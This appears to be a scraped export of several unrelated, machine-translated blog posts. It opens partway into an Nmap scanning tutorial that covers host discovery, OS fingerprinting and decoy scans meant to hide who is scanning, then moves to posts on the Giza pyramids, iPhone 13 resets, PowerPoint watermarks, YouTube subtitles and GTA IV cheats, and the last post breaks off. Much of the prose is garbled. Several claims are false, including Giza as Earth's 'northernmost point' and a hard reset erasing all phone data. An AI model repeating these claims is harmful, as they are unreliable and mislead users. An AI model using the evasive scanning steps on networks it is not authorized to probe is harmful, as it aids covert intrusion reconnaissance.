if-ae-1-2.tcore2.sqn-san-jose.as6453.net (63.243.205.2) 13 34.05 ms 64.86.21.62 14 31.16 ms xe-0-0-3.cr6-lax2.ip4.gtt.net (89.149.180.253) 15 63.54 ms 72.37.158.50 16 . 17 34.34 ms wonderhowto.com (104.193.19.59) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 38.60 seconds  Even for a single goal, a basic scan can bring a lot of information. Here, the example is simply scanning the IP address for the WonderHowTo.com domain . The tool can run with a device on a local network, such as a router or a remote server, such as the WonderHowTo.com host .\nStep 2: Calculate the subnet and scan a specific range to find the device\nTo identify other devices on the local network, it is useful to calculate the subnetwork range. This is the range of IP addresses that can be provided to devices on the network and is a signal that it is possible to scan all IP addresses of devices on the network.\nA useful tool to do this is IPcalc. This tool will get the IP address (easily found by entering ifconfig or ip a in the terminal window) and calculating the subnet range based on that. The tool will provide a sequence of numbers like \"192.168.0.0/24\", specifying a range of IP addresses. In the example below, the subnet is calculated as 127.0.0.0/24.\nipcalc 127.0.0.1 Address: 127.0.0.1 01111111.00000000.00000000. 00000001 Netmark: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000 Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111 =\u0026gt; Network: 127.0.0.0/24 01111111.00000000.00000000. 00000000 HostMin: 127.0.0.1 01111111.00000000.00000000. 00000001 HostMax: 127.0.0.254 01111111.00000000.00000000. 11111110 Broadcast: 127.0.0.255 01111111.00000000.00000000. 11111111 Hosts/Net: 254 Class A, Loopback  To include information about the services running on the device found, users can open the terminal window and enter the following command, in addition to your network range (where using \"172.16.42.0/24\" in For example). Scanning is a bit slow, so you can use the -F flag instead of -A to perform faster scans for the most popular ports.\nnmap 172.16.42.0/24 -A Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-11 23:26 PST Nmap scan report for 172.16.42.1 Host is up (0.0029s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 53/tcp open domain? Nmap scan report for 172.16.42.20 Host is up (0.0053s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open tcpwrapped Nmap scan report for 172.16.42.32 Host is up (0.0057s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open tcpwrapped Nmap scan report for 172.16.42.36 Host is up (0.011s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open tcpwrapped Nmap scan report for 172.16.42.49 Host is up (0.0063s latency). All 1000 scanned ports on 172.16.42.49 are closed Nmap scan report for 172.16.42.53 Host is up (0.0059s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open iphone-sync? Nmap scan report for 172.16.42.57 Host is up (0.013s latency). All 1000 scanned ports on 172.16.42.57 are closed Nmap scan report for 172.16.42.63 Host is up (0.00020s latency). All 1000 scanned ports on 172.16.42.63 are closed Nmap scan report for 172.16.42.65 Host is up (0.0077s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 631/tcp open ipp CUPS 2.2 | http-methods: |_ Potentially risky methods: PUT |_http-server-header: CUPS/2.2 IPP/2.1 |_http-title: Home - CUPS 2.2.0 Nmap scan report for 172.16.42.119 Host is up (0.012s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 898/tcp filtered sun-manageconsole 1862/tcp filtered mysql-cm-agent 1971/tcp filtered netop-school 62078/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 256 IP addresses (10 hosts up) scanned in 219.68 seconds  Basically, we're running Nmap without arguments, except for the -A flag . We will see the same output as above, showing the devices detected and the services running on them.\nAnother handy tool to explore the network is arp-scan. Sometimes it is possible to display devices that Nmap misses. We can use Nmap to perform ARP scans with query -PR, which is quite fast and active in bringing online servers back.\nnmap -PR 192.168.0.0/24 Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 06:10 PST Nmap scan report for 192.168.0.1 Host is up (0.019s latency). Not shown: 994 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 443/tcp open https 5000/tcp open upnp 8081/tcp filtered blackice-icecap 8082/tcp filtered blackice-alerts  Step 3: Create a list of target active servers\nNow, you will calculate all IP addresses that can appear on the local network and discover them by scanning -F (fast), by running Nmap without arguments except for the -A flag to scan. slow, but for more information or with -PR is able to quickly scan a local network to find active servers.\nFinally, if you want to create the detected TXT file of the server, you can use the command below to create the list, avoiding having to scan the entire network the next time. For example, to scan devices with port 80 open and save them to the list, you can use some Linux tools and flag -oG \"greppable output\" to filter the output that Nmap provides.\nBy running nmap -p 80 -oG - 192.168.0.0/24 (network range is replaced by a specific case), you can add | awk '/ 80 / open / {print $ 2}' \u0026gt;\u0026gt; port80.txt to export the IP address of detected devices into TXT file named \"port80.txt.\"\nnmap -p 80 -oG - 192.168.0.1 | awk '/80/open/ {print $2}' \u0026gt;\u0026gt; port80.txt cat port80.txt  Here, the awk command is searching for lines containing the port number and the \"open\" result , with the second string in each line (in this case, the IP address) stored by the cat command into a new file named port80. txt\nStep 4: Determine the operating system on the detected devices\nOne of the most useful things to know about a device discovered on the network is the operating system it is running. Here, we can get the target TXT list already in the previous step and scan the operating system, requiring root permissions. You can use the -O flag to scan the operating system and the -iL flag to tell Nmap the device you want to read from the target server's TXT file.\nsudo nmap -O -iL port80.txt Password: Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 07:07 PST Nmap scan report for 192.168.0.1 Host is up (0.033s latency). Not shown: 994 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 443/tcp open https 5000/tcp open upnp 8081/tcp filtered blackice-icecap 8082/tcp filtered blackice-alerts No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.60%E=4%D=11/12%OT=80%CT=1%CU=33278%PV=Y%DS=1%DC=D%G=Y%M=407009% OS:TM=5BE99771%P=x86_64-apple-darwin17.3.0)SEQ(SP=CB%GCD=1%ISR=CD%TI=Z%CI=Z OS:%II=I%TS=7)SEQ(SP=CE%GCD=1%ISR=CE%TI=Z%CI=Z%TS=7)OPS(O1=M5B4ST11NW2%O2=M OS:5B4ST11NW2%O3=M5B4NNT11NW2%O4=M5B4ST11NW2%O5=M5B4ST11NW2%O6=M5B4ST11)WIN OS:(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)ECN(R=Y%DF=Y%T=40%W=390 OS:8%O=M5B4NNSNW2%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3( OS:R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11NW2%RD=0%Q=)T4(R=Y%DF=Y%T=4 OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0% OS:Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z% OS:A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G% OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 1 hop Nmap scan report for 192.168.0.2 Host is up (0.019s latency). Not shown: 997 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 8888/tcp open sun-answerbook Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.17 - 2.6.36 Network Distance: 1 hop Nmap scan report for 192.168.0.5 Host is up (0.064s latency). Not shown: 993 filtered ports PORT STATE SERVICE 80/tcp open http 8080/tcp open http-proxy 8085/tcp open unknown 8086/tcp open dsn 8087/tcp open simplifymedia 8088/tcp open radan-http 8089/tcp open unknown Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.8 Network Distance: 1 hop OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 3 IP addresses (3 hosts up) scanned in 67.32 seconds  This tactic allows users to get as much information as possible about the operating system from any target list that wants to run, whether the target is an intranet or the list of IP addresses of the site.\nThe next step is to explore the versions of applications running on open ports. This may indicate that a port running the software is outdated and has a vulnerability already detected. To do this, use the -sV flag .\nsudo nmap -sV 192.168.0.2 -D 192.168.0.1,192.168.0.2,192.168.0.3 Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 07:29 PST Nmap scan report for 192.168.0.2 Host is up (0.030s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 53/tcp filtered domain 80/tcp open http? 8888/tcp open upnp MiniUPnP 1.6 (Linksys/Belkin WiFi range extender; SDK 4.1.2.0; UPnP 1.0; MTK 2.001) MAC Address: 83:23:98:43:23:3D (Dobus International) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.24 seconds  Here, we will find some very specific information about the server, making it possible to identify an attack from 'eavesdrop' software through the portal.\nStep 5: Advanced scanning solutions\nOccasionally, users will have trouble scanning the network because the ping sent by Nmap is blocked by the firewall on the router. This can make the user mistakenly think that there is no device on the network (though it is in fact available). To avoid this, you can include the -Pn flag , to sometimes allow direct connection to devices and get feedback.\nIf you are scanning on a network that does not want to be detected, you can perform a test with the -D flag to make it difficult to detect who is scanning on the network. The process will look like the command below and require root access.\nsudo nmap -sS 192.168.0.2 -D 192.168.0.1,192.168.0.2,192.168.0.3 Password: Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 07:26 PST Nmap scan report for 192.168.0.2 Host is up (0.036s latency). Not shown: 997 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 8888/tcp open sun-answerbook MAC Address: 83:23:98:43:23:3D (Dobus International) Nmap done: 1 IP address (1 host up) scanned in 5.16 seconds  If you need more information about what's going on, you can press a key while the scan is taking place to get some information on how to proceed or add the -v parameter to increase the level of detail (amount information that the script provides). In general, you can continue to add more v- v depending on the level of desire to find out more information about what's happening.\nInitiating ARP Ping Scan at 07:18 Scanning 192.168.0.1 [1 port] Completed ARP Ping Scan at 07:18, 0.12s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 07:18 Completed Parallel DNS resolution of 1 host. at 07:18, 0.09s elapsed DNS resolution of 1 IPs took 0.10s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 07:18 Scanning 192.168.0.1 [1 port] Discovered open port 80/tcp on 192.168.0.1 Completed SYN Stealth Scan at 07:18, 0.04s elapsed (1 total ports) Nmap scan report for 192.168.0.1 Host is up, received arp-response (0.11s latency). Scanned at 2018-11-12 07:18:34 PST for 0s PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 23:78:32:76:34:90 (Dobis Group) Read data files from: /usr/local/bin/./share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds Raw packets sent: 2 (72B) | Rcvd: 2 (72B)  Here, we can see the reason reported for active port 80 allows us to decide which part of the scanning process will give us the necessary information or be ignored. As mentioned, you'll see everything that the scan is doing and this can create a lot of output for complex scans.\nThe first time searching for something about the network can be very difficult for beginners, whether they are learning about the network exploit for the first time or simply trying to find a network router.\nKeep in mind, although scanning the network is a great idea to run on a private network and see what is connected, this may not be allowed on the network at work or other networks that you do not own. . If an employer actually detects suspicious behavior online, your behavior can easily be considered a threatening action if there is no good reason to do so.\nOne of the best things about Nmap is that it can create scripts with options like -oG and can be used to provide information to other tools. So, if you ever imagine building a tool to find other devices on the same network, Nmap might be what you're looking for.\nNmap commands for beginners One of the great things about using Nmap is that new users have little knowledge of the system or the network can still start with simple commands to perform basic scans, while experts have can take advantage of more complex commands to get a more detailed view of the entire network.\nWhat you get when you use Nmap is basically the list of targets you have scanned, along with the associated information associated with those goals.The information you receive will depend on how you perform the scan.In other words, it depends on the commands you have used.\nThe scanning process does not necessarily generate much traffic but depends on the commands used.Scanning all ports on all systems will not bring much effect, mainly because only a small number of available ports will be used at the same time (one system can have 65,535 TCP ports and 65,535 UDP ports).Various options allow finetuning or extended scanning.For example, in defining service versions, available options include:\nsV (allows version detection) version-intensity (set the scanning intensity) Scanning intensity ranges from 0 to 9. Lower intensity scans will explore common services, while higher intensity scans can determine which services are used less but will lose more More scan time.\nDifferent commands can also allow you to specify which port or network components to scan or ignore.\nNmap Scripting Engine (NSE) Nmap Scripting Engine (NSE) includes a command tool written in the Lua programming language to write, save and share scripts that automate different types of scans.Although often used to check for typical vulnerabilities, network infrastructures, all tasks can be automated.\nZenmap - Nmap's interface Zenmap is the graphical interface of Nmap security scanner.This interface provides users with hundreds of different options.It allows users to do things like store information about scans and then compare them, view network topology maps, see which ports are running on the server or all of the servers above. Network and storage, scanning in the database to serve the later search process.\nWhat's new in Nmap The Nmap 7.70 version, released in March 2018, has provided nine new NSE scripts and provided hundreds of new operating system and service codes for the operating system and applications that detect application versions, including code that supports IPv6 and IPv4.Improvements in version 7.70 also help to detect the service version faster and more accurately.Due to the widespread use of Windows, the introduction of improvements to the Npcap Windows capture package is also offered to enhance performance and stability are particularly important steps from the publisher.\nThe next release of Nmap is expected to be released by the end of the third quarter or early in the fourth quarter of this year, but Lyon also noted that between the releases, scripts and new protocols that are being refined by the company. and available for user testing.\n\"Converting from outdated Winpcap drivers to our new Npcap system is an unprecedented big step for Windows Nmap users. We will also continue to expand and improve Nmap Scripting Engine. Now we have 591 scripts and 133 protocol libraries, you can find at https://nmap.org/nsedoc/. I feel like my brainchild is now really In fact, Nmap will turn 21 on September 1! ', Lyon said.\nIs Nmap being used for unauthorized behavior? Although port scanning is not an illegal feature, at least under US federal law, Nmap's features are definitely useful for bad-looking hackers looking for holes. Security vulnerability to exploit.Certain applications of the software, not allowed to access, if ignored, you may be fired or have legal trouble, even if you are performing a vulnerability scan because of bad purpose.\nWhile some Nmap scans are quite light and can't turn off alerts, it's best to proceed with your authorized scans with the appropriate individuals in your organization.Note that many Nmap options, such as OS fingerprinting, require access to the original data.Therefore, when doubting about the legality of the things you want to do, especially when you work alone and without the legal team of the organization to consult, talk to a lawyer. have expertise in computer fraud and abuse.\nNmap resources If you want to learn more about Nmap, the only and best source of information you should consult is Nmap.org.This website is maintained and handled by the author FyodorVaskovitch.Essential resources on Nmap.org and other websites include:\nDocument. Nmap reference guide, detailed description of Nmap and how it works. Zenmap user guide. Nmap users can join the Nmap-hacker mailing list to keep track of updates. Developers interested in testing or contributing code and suggestions can subscribe to the Nmap-dev list. Top 100 network security tools are voted by Nmap users. Download Nmap where? To download Nmap, visit here and follow the instructions.\nSee more:\n4 websites to quickly check the safety of links How to hack WiFi passwords with holes on WPA / WPA2 How to protect your computer against a Foreshadow security vulnerability Learn about DNS Cache spoofing and DNS Cache poisoning ncG1vNJzZmismaXArq3KnmWcp51krq24jJqZqK2kYruurc8%3D\n","link":"/post/all-about-nmap/","section":"post","tags":null,"title":"All about Nmap"},{"body":"Giza Pyramid - Great Pyramid of Giza in Egypt is not only the greatest pyramid construction man ever built, challenging every time limit but it also contains many geographical mysteries that make gender archeology and historians headache decoding.\nLooking for the reason why the ancient Egyptians stopped building pyramids? Found how the ancient Egyptians used to build pyramids?   Giza pyramid complex covers an area of ​​55,000 square meters, including:\nKhufu Pyramid (also known as Kheops pyramid, was honored as one of the Seven Wonders of the Ancient World). Khafre Pyramid (or Kephren). Menkaure pyramid (or Mykerinus) is the smallest pyramid. Some other small satellite projects for the King of Africa. Sphinx.   Map of Giza Pyramid.\nThe Giza pyramid was built from 2.3 million tightly bound blocks of stone with a total weight of 5.9 million tons. In particular, each block weighs from 2 to 30 tons, even with a weight of 50 tons.\nTo this day, scientists still do not understand what ancient Egyptians used to transport and build large, high-volume buildings.\nIn addition to these secrets, the Giza pyramid complex also has geographical challenges, making astronomers unable to decode.\nLocated in the center of the Earth continent\nThe Giza pyramid complex is located exactly at the center of the continent on Earth, on the intersection of the longest meridian and the longest latitude in the world.\n  Giza is located in the center of the Earth continent.(Photo: Ancient-code.com.)\nStraight up with 3 why Orion constellation\nThe three largest pyramids at Giza, Khufu, Khafre and Menkaure, were built to form a perfect line on the ground. In addition, they are aligned with 3 waist stars of the Orion constellation (Orion).\n  Mysterious coincides\nThe Giza Pyramid, \"Silence Zone - Silent Zone\" (in Mexico) and Bermuda's \"Devil Triangle\" (west of the Atlantic Ocean) are the three most mysterious areas in the world known as the \"Three-Sided Mystery\". . It is especially difficult to understand that all three mysterious areas are located on the same line on Earth.\n  Mysterious coincides lying in line.\nThe \"Silent Zone\" is called Zona del Silencio, an area in northern Mexico. Here all sound waves and phone waves are disabled. Bermuda \"Devil Triangle\" Bermuda is an unspecified area located in the west of the North Atlantic Ocean, dubbed the \"black sea cemetery\", where buried hundreds of boats and aircraft.\nGiza is right on the northernmost point of the Earth\nAlthough built thousands of years ago, but according to astronomers, the population of Giza pyramids is the work towards the most standard North pole in the world.\n  Photo: Unariunwisdom.com.\nncG1vNJzZmismaXArq3KnmWcp51ktLOxwK1kqbGilrqqsNJmpp9ll57HonnAp5tmbF2ixrTAxKugqK2jYq6vu8yao6Kdo2K1osLEZqWoZaOkubbAyKil\n","link":"/post/great-pyramids-of-giza-and-4-mysterious-anomalies-have-no-solution/","section":"post","tags":null,"title":"Great Pyramids of Giza and 4 mysterious anomalies have no solution"},{"body":" If you are used to a QWERTY keyboard and have now switched to an AZERTY keyboard, you might have difficulty finding the keys for curly brackets ({ }) for a simple reason: They aren't there. All is not lost, though, because you can still...\nMethod 2of 2:\nUsing a Key Combination Combine the Alt⌥ key with the normal parentheses (). Hit the keys at the same time and you will get a curly bracket. Select Alt+( to make \"{\". Select Alt+) to make \"}\". And that's all there is to it!\nEnjoy knowing your way a bit more across an AZERTY keyboard.   David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYycrKukqWKvs63CpJytq12ku26tzWaYs52iqcZut8SymaiZopl6rq3C\n","link":"/post/how-to-create-curly-brackets-on-an-azerty-keyboard-mac/","section":"post","tags":null,"title":"How to Create Curly Brackets on an AZERTY Keyboard (Mac)"},{"body":"The Word Watermark tool will be used to insert the company logo, the name of the website is submerged behind the content, to avoid copying the content of the document. However, Watermark is not available in PowerPoint or on Excel, causing some difficulties for users when they want to add a company name to the content.\nSo how do I create Watermark on Excel or PowerPoint? Previously, Network Administrator showed you how to create a sunken logo on Excel with the Header \u0026amp; Footer tool. With PowerPoint, we need to use the Slide Master tool. The following article will guide you how to create PowerPoint watermark.\nHow to create a crossword game on PowerPoint How to make PowerPoint fireworks effect How to turn on the dark color mode on Office 2019 Instructions for inserting Watermark into PowerPoint Step 1:\nFirst, click on the View tab and then click on Slide Master .\n  Step 2:\nAt the first slide, click on the Insert tab and then click on the Text box to insert a text logo into a slide.\n  Next enter the content you want to create the logo into the Text box. We can also rotate the text in the frame to the angle you want.\n  If you want to add colors to text in frames or artistic fonts, click the Format tab and then select the color below, in the WordArt Styles section.\n  In addition, users can insert images to create Watermark on Excel by clicking Insert\u0026gt; Picture.\n  Step 3:\nAfter editing the text formatting, we will insert the sunken text to the document content. Click on the Formart tab and then select the Send Backward section, then select Send to Back .\n  Step 4:\nContinue to click the View tab and then click on Normal mode to bring PowerPoint slides to normal view.\n  As a result, we will see the sinking text displayed in the slide content as shown below. We insert any content, the text will also be hidden below the content.\n  If inserting the image will also display under the content entered on the slide.\n  If you press Enter to add a slide, the logo will still display on the new slides added.\n  Step 5:\nTo delete the Insert Watermark in PowerPoint, click on the View tab and then click on the Slide Master section, also click on the first slide and delete the added Text box or image.\n  When returning to the regular view slide, the entire slide will be deleted as shown below.\n  Although there is no Watermark tool available on PowerPoint, you can use Slide Master to insert a Text box to create a sunken logo, with text or image content depending on the content required by the document. However, when inserting Watermark, users need to select the appropriate insertion position on the whole slide, avoid Watermark to cause discomfort when reading content.\nSee more:\nHow to save presentations in PowerPoint 2016 How to add and print PowerPoint slides with notes of the presenter Create beautiful slides for PowerPoint presentations with 8 tips I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYywmK2doqKus7eMqKVmqJ%2BssrO8zqKlrQ%3D%3D\n","link":"/post/how-to-create-watermark-on-powerpoint/","section":"post","tags":null,"title":"How to create Watermark on PowerPoint"},{"body":"However, that does not mean that Apple's smartphone models never experience software problems, or simply jerk, lag, and become unresponsive.\nIf you've encountered a situation where your iPhone 13 is unresponsive and you can't turn it off using the usual methods, it's time to try a forced restart — sometimes called ' hard reset' (not to be confused with 'factory reset'). Here's how to do it.\nWhat is hard reset? Forced restart is a form of forcing your iPhone to power off and restart without following the usual procedure, or recommended by the manufacturer. When you reset the device in the usual way (via software) the system will optimize everything before turning off the power. But in case your iPhone is unresponsive, sometimes you are forced to take a more drastic step than a forced restart, or can be understood here as a hard reset - restarting with the hardware key.\nPlease note that you should only perform a hard reset in the event of force majeure, when the device freezes, lags, does not recover. Frequent hard reset abuse can cause software problems and data stored in your iPhone.\nHard reset and factory reset Both hard reset and factory reset are forms of restarting the device to fix problems. But there is a fundamental difference between these two actions.\nBoth actions will erase all data stored on the phone's memory, and help keep the phone running smoothly if the software is in conflict.\nHowever, a hard reset is a way to fix software errors on the phone with hardware keys, including the power key, home key, and volume up/down keys. While factory reset is the act of restoring factory settings using system software and doing it.\nSo basically, it can be understood that hard reset is simply using the hardware key on the body, and factory reset is going into the software and doing it.\nHow to hard reset iPhone 13 To perform a hard reset on your iPhone 13, you need to perform 3 consecutive button presses. On the last press, you'll need to keep holding the button for a few seconds. As follows:\nStep 1: Press and release the volume up button 1 time. Step 2: Press and release the volume down button once Step 3: Press and hold the power key on the right side of the device until the screen turns off and the apple logo appears. It may take up to 30 seconds for this logo to appear.   If you don't see the Apple logo, you've done the process incorrectly. Let's try it again!\nAfter the Apple logo appears, your iPhone may take longer than usual to boot up. After a second or two, you should see the lock screen appear as usual.\nIn case a hard reset doesn't help with the problem, you may need to put your iPhone into recovery mode and reinstall it using iTunes or Finder. If all else fails, you can always contact Apple customer support for advice on repairing or replacing your device. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRp7FuvsSsnK1lmaW1sLrEZmhsZaedsq95x5qtoqaXYr2zu8GlnKar\n","link":"/post/how-to-hard-reset-iphone-13-when-having-problems/","section":"post","tags":null,"title":"How to Hard Reset iPhone 13 when having problems"},{"body":"Many people can use up to two Google+ accounts, but sometimes it also causes a lot of distractions. If you want to just use a Google+ account containing all the information and contacts, you can merge those two accounts into one. Below we will guide you to do that.\nWhy should you merge your Google+ account? Just two accounts, you can have a personal Google+ account, and also a job using Google Apps. It will be much easier if you turn them into a single account, done using Google Takeout .\nBasically will transfer your connections from one account to a point. After the merging process is complete, your connection will only be able to see the final account.\nNote: Before starting, remember that the transfer is started 7 days after being requested, and it takes 48 hours to complete. During 48 hours, you will not be able to do anything in two accounts. Including sending messages, adding people to circles and blocking users, .\nThe destination profile will include all the data, but not the source profile. If they have the same connection circle, they will be merged. In addition, author information will remain in the source profile, which will still exist. It will only be replaced by one of the destinations in the circle of others.\nHow to Merge an account? Make sure you have signed in to two Google+ accounts, then visit Google Takeout . Once there, click the Transfer button or link button shown in the image below.\n  You will be taken to the Circles transfer tool . Enter the Google+ account you want to connect to the right box, it is called the destination account. Then click log in to this account ( Sign in to this account ).\n  You will then be notified again what you are about to do - in particular where and what information is transferred and transferred, you will have to wait 7 days before it all starts. It is important that all processes cannot be completed and you cannot use the tool for any account within the next six months.\n  When you click the Transfer button, all that's left to do is wait. However it can cancel the transfer anytime you want within 7 days. To do so, simply click the link that appears at the bottom of one of your Google+ accounts. You will receive a confirmation email returned when done.\n  If you do not cancel them, once the transfer is complete you only need to manage one account.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWVp7SmedOwpmafn6S0rbGMmpqcp6WjwbQ%3D\n","link":"/post/how-to-merge-two-google-accounts/","section":"post","tags":null,"title":"How to merge two Google+ accounts"},{"body":"The video subtitles feature on YouTube greatly supports users when watching foreign videos, helping you understand the content more, especially, you can learn more foreign languages ​​through the translation below the video. So if you want to learn two foreign languages ​​in parallel on YouTube videos, how to do?\nWith the Two Captions extension on Chrome, users will be able to watch 2 different subtitles at the same time, including the main subtitle of the YouTube video and the second subtitle that you choose to display. These two subtitles will appear on the video at the same time for you to track and contrast the two translations together. So you can learn a lot of foreign languages ​​and how to use them. The following article will guide you how to display 2 YouTube video subtitles.\n5 super easy ways to add subtitles and captions to videos The site converts subtitle file format for free How to create subtitles for YouTube videos quickly, the easiest 5 simple steps to watch movies with extra to Vietnamese on Netflix Instructions for displaying 2 YouTube video subtitles at the same time Step 1:\nUsers click on the link below to install the Two Captions extension on Chrome browser\nDownload the Two Captions Chrome extension   Step 2:\nNow open YouTube videos and turn on video subtitles. We can choose any subtitles default video to display on the interface.\n  Step 3:\nNow click on the extension icon in the access bar on the browser and then switch to On to enable the display of the second subtitle for the video.\n  Step 4:\nNow you look at the video will display more tool icons on the left. Click the Settings icon .\n  The second subtitle language interface appears so we can choose the subtitle language to display on the video. Now you just need to click on the second language to display on the video.\n  As a result, you will see 2 subtitles display at the same time on YouTube videos. The original YouTube subtitles are shown at the top and the 2nd subtitles are displayed below for you to collate the video translation.\n  We can also change to other languages ​​by selecting the subtitle language that YouTube offers. When you turn on the new subtitle language for videos, the Two Captions utility will automatically add that language to the subtitle list.\n  Step 5:\nReopen the interface of the utility and click on Settings . Now users will see the option of the shortcut key combination to display the second subtitle for the video is Alt + D. In addition, users can also choose the small size for subtitles in Small text , there is a space between 2 subtitles For Space between captions , change the subtitle color to 2 in Custom colors .\n  When you are done editing the interface showing subtitles 2 will be as shown below.\n  With the Two Captions utility, users will easily watch two hours of subtitles simultaneously in YouTube videos. The subtitles are synchronized from the list of video subtitles that YouTube supports.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpMRufoysrJusmam5pr%2BMoqVmqJGnrq24xKVkqKZdrry2wNSbnGaumZmysL8%3D\n","link":"/post/how-to-show-2-subtitles-in-parallel-on-youtube-videos/","section":"post","tags":null,"title":"How to show 2 subtitles in parallel on YouTube videos"},{"body":"An official mobile version of Lemmings, an interesting series of Sony games that was officially released for free on iOS and Android. Previously, Lemmings was released on PlayStation systems.\nLemmings mobile version was developed by Sad Puppy Limited but the basic elements in the game are kept the same in the original version. Still the puzzle screen, and the player's task is to take the lemming mantras to overcome obstacles to reach the destination.\nHowever, because it is designed for mobile devices, this version has some improved features, more elaborate graphics, and additional virtual buttons that allow touch-screen control.\n   However, in Lemmings any activity in a game screen needs to consume energy. If the energy runs out in the middle of the game, you will have to wait until the energy is restored or you will have to buy more energy with money.\n  To be able to use unlimited energy for 2 hours, you will have to spend 7USD. Therefore, despite being a free game, to play Lemmings freely, users will still have to spend a considerable amount of money.\nFrom now on, users can download Lemmings for iOS and Android devices for free.\nDownload Lemmings for Android Download Lemmings for iOS See more:\nLaunch of Brawl Stars, a fun, completely free 3v3 shooter on iOS and Android Game titles or on the phone Christmas season 14 best free shooter titles on mobile devices (part 1) ncG1vNJzZmismaXArq3KnmWcp51kwLC62Gajmq2emLWmsIytn55lnJq6rrXNoKpmpZ%2BXtq2xjKCYpp1dmLyuvMueq56kqWKzs7HE\n","link":"/post/sony-launched-the-lemmings-mobile-game-completely-free/","section":"post","tags":null,"title":"Sony launched the Lemmings mobile game, completely free"},{"body":"Grand Theft Auto IV is part 4 of the famous Street Pirates action series produced by Rockstar Games. Part 4 of this game has many changes in gameplay and graphics. The game still takes the Liberty city scenery but this time simulated very much like New York City.\nOwning GTA cheat codes can help Niko Bellic - the main character of the game to use guns, other weapons and of course a vehicle to fight bad guys and survive Liberty City.\nHere are the commands, GTA cheat codes can be used on PlayStation 3 game consoles.\n  GTA cheat code for PS3 Any time in the game, take Niko's phone and dial the numbers below to receive weapons, vehicles and some other things.\nNote, these GTA cheat codes will affect tasks and benefits.\nWeather changes: 468-555-0100 Choose weapons (rudimentary): 486-555-0150 Choose weapons (advanced): 486-555-0100 Increase the wanted level: 267-555-0150 Reduce wanted level:\u0026nbsp; 267-555-0100 Full of blood and bullets: 362-555-0100 Full of blood and weapons: 482-555-0100 Information about the song: 948-555-0100 Call cars Cognoscenti: 227-555-0142 Call Comet cars : 227-555-0175 Call Jetmax car: 938-555-0100 Call Sanchez cars: 625-555-0150 Call the car SuperGT: 227-555-0168 Turismo car call: 227-555-0147 Call cars Annihilator: 359-555-0100 Call the Buff Buffalo car: 227-555-0100 Car call NRG-900: 625-555-0100 Rewards in street robbery game IV The following features are unlocked in street robbery IV game on PlayStation 3 gaming machines when completing the designated task. By gaining friendship with the following people you will receive great rewards.\n50% off for all clothing stores when friend status with Alex is up to 80%. Call Packie so that he can make you a car bomb when your friendship with Packie is up to 75%. Brucie will pick you up by helicopter if your friend is close to 70%. Buy weapons at cheaper prices from Lil Jacob if your friendship is at 60%. You will receive gang member vehicles when you receive 60% friendship with Dwayne. Call a free taxi when you're close to Roman at 60%. Increase blood (call Carmen and choose \"Health Boost\") when your relationship status with Carmen is 80%. Remove up to 3 wanted levels (Call Kiki and select \"Remove Wanted\") when your friendship with Kiki is 80%. Annihilator Helicopter helicopter when destroying 200 flying mice. Get cars when completing 10 delivery trips. Remove bullet limits when getting 100% completed. Tips to play Pirates of the street IV Make money from ATM trees Find an ATM, cause traffic jams and block the way for an ambulance to pass. Let one or two people take money from an ATM and then kill them. Take the money and slip away, then return to the money still there. You can repeat this action continuously.\nGet the Statue of Liberty Walk to the Statue of Liberty, 